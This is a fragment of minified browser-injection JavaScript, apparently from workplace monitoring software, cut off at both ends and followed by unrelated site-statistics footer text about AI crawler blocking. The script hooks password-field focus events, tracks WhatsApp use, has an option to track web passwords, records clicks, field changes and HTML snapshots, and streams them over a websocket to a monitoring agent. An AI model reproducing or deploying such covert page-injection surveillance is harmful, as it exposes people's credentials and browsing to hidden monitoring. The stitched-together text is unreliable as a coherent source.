w.pn, content: S(r.result) })) } catch (e) { n() } })), r.addEventListener("error", (e => { n() })), r.addEventListener("abort", (e => { n() })), function () { if (!document.getElementById(t)) { let e = document.createElement("div"); e.id = t, e.style.cssText = "background:rgba(0, 0, 0, .6);position:absolute;top:0;left:0;height:100%;width:100%;z-index:999", document.body.appendChild(e) } }(); try { null == a ? r.readAsArrayBuffer(e) : r.readAsArrayBuffer(a) } catch (e) { n() } } } } function A(e) { var t = { handler: "log", module: "wapjs", url: "wap", message: e }; B.send(JSON.stringify(t)) } function E(e) { var t = { name: e.data.name, type: e.data.type }; "iframePasswordInputFocused" === e.data.message ? c(t, !0) : "iframePasswordInputBlurred" === e.data.message && M(t, !0) } var w = { token: "24492f73-309a-4b27-af5a-52a83abd2d8f", sendNotificationsInterval: Number("1000"), pollWhatsappTrackingInterval: Number("20000"), connectionString: "wss://tm.filter:1502", pid: "50656", pn: "chrome.exe", iup: false, dontTrackWebPasswords: false, extJs:/*   * don't use double slash comments here as this will be stored in one line for the TMU migrations   *    * this is stored in the kv_store table for the key hm_websites_js   *    * all code should describe one javascript object, i.e. { bla-bla-bla }   *    * this object will be included in standard js injection code as a replacement of 'insight_placeholder'   * if domain of the page matches one of the domain regexes from the hypermonitoring_web settings   * if not, 'insight_placeholder' will be replaced with null   *    * this object must contain function init(token), it will be called only once when document became visible (it is called for every iframe too)   *    * also this code contains placeholdes, see doc in the code (search for `_placeholder` suffix)   *    * also this object must contain property webSock that will be assigned WebSocket when created   *    * this object should send json for every registered event with the following structure:   * {   *      cat: 'insight' - this is required to route the message to the proper handler   *      type: click | changed - type of the event   *      elm: uint32 - id of the element that fired the event. used for deduplication of the events   *      page: uint32 - id of the hypermonitored location   *      obj: uint32 - id of the hypermonitored object that fired event   *      url: string - current document url   *      token: string - js injection token, used to unique identify browser page   *      values: json - contains all collected information about event and it's context   *      proc: id of the process of the host electron   * }   */  {      /* this will be replaced with the rules for current domain       * [        *      {          *          id: locationId,        *          url: string | null,        *          objects:        *          [       *              {        *                  id: objectId,        *                  sources: [],       *                  ...       *              },       *              ...       *          ]        *      },       *      ...       * ]       */      pages: [],        /* required property for electron */      proc: null,        /* required property - will be assigned to WebSocket once it will be read */      webSock: null, pendingPackets: [], webSockReady: function () { return this.webSock !== null && this.webSock.readyState === WebSocket.OPEN; }, processPacket: function (t) { if (!this.webSockReady()) this.pendingPackets.push(t); else { this.sendPendingPackets(); this.webSock.send(t); } }, sendPendingPackets: function () { if (this.webSockReady() && this.pendingPackets.length > 0) { for (var i = 0; i < this.pendingPackets.length; ++i)                  this.webSock.send(this.pendingPackets[i]); this.pendingPackets = []; } },        /* store js injection token */      token: null,        /* should we send log messages to the agent, bool */      sendLog: false,        /* should we include all content of the htmlelements in the log messages, bool */      sendLogFullData: false,        /* should we log snapshots of the html after every mutation event */      sendLogSnapshots: false,        /* should we catch exceptions and log them (as opposed to let browser stops in debugger) */      sendLogExceptions: true,        /*       * required function - it will be called once when document became visible       * it will be also called for iframes       *           * argument token - js injection token       */      init: function (token) { this.token = token; this.log("init: token:" + token + " sendLog:" + this.sendLog + " sendLogFullData:" + this.sendLogFullData); if (document.readyState === "interactive" || document.readyState === "complete") this.attachEvents(); else window.a

History

Changes recorded since June 2026.

No change recorded.

In context

Cameroon
18.5% block at least one AI crawler
Behind Cloudflare
Yes